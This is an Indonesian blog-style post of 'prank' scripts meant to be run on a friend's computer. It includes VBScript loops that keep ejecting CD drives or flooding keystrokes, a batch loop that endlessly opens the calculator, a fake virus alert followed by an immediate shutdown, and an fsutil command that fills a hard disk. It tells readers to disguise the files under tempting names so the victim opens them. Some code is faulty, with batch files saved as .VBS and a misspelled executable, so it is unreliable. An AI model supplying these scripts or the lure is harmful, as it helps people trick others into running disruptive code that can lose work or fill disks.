Isengin pc teman pake script notepad jahil..!

1. Meng-eject Drive CD-Room Terus-Menerus

Code:

Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

hati2 gan, klo keseringan bisa wafat tu kompie ..

2. Tombol Enter Terus-terusan Aktif

Code:

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

3. Iseng Dengan Pesan Lambat Notepad “Hello, how are you? I am good thanks!

Code:

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

4. Iseng Dengan Backspace (Jika menekan tombol Bacspace akan keluar tulisan "Maaf anda harus mengulang kembali" atau bisa dibuat semau kita.)

Code:

MsgBox “Maaf, Anda Harus Mengulang Kembali”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

5. Iseng Dengan Membuka Calculator Terus Menerus

Code:

@ECHO off
:top
START %SystemRoot%\system32\cacl.exe
GOTO top

6. Iseng dengan Keyboard (tampil tulisan yang kita inginkan)

Code:

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”
loop

7. Iseng Dengan Shutdown Komputer

Code:

@echo off
msg * Komputer Anda Terinfeksi Virus
shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0

Semua trik di atas (No. 1 sampai 7 di simpan / save menggunakan .VBS (misalnya pake nama yang bikin penasaran, misalnya: Cewe_Cantik.VBS) dan save as type-nya pake all files, setelah itu berikan ke temen yang mau kita isengin....! Nah nti temen pasti penasaran dan buka notepad itu, Jreng.....jreng... komputer langsung mengikuti perintah sesuai judul di atas!

ni ada satu keisengan komputer lagi, membuat file kosong dengan kapasitas 1 GB atau bahkan 100 GB,, abis dah tu hardisk temen,hehehehe.
langsung ja gini caranya :
1. buka command prompt, dengan menu run -> ketik cmd, atau lewat all program -> accessoris -> command prompt
2. ketikan script berikut :
fsutil file createnew
misal : fsutil file createnew test.mp3 1000000000 lalu enter
3. cek file yang dah dibuat.

sumber : GOOGLE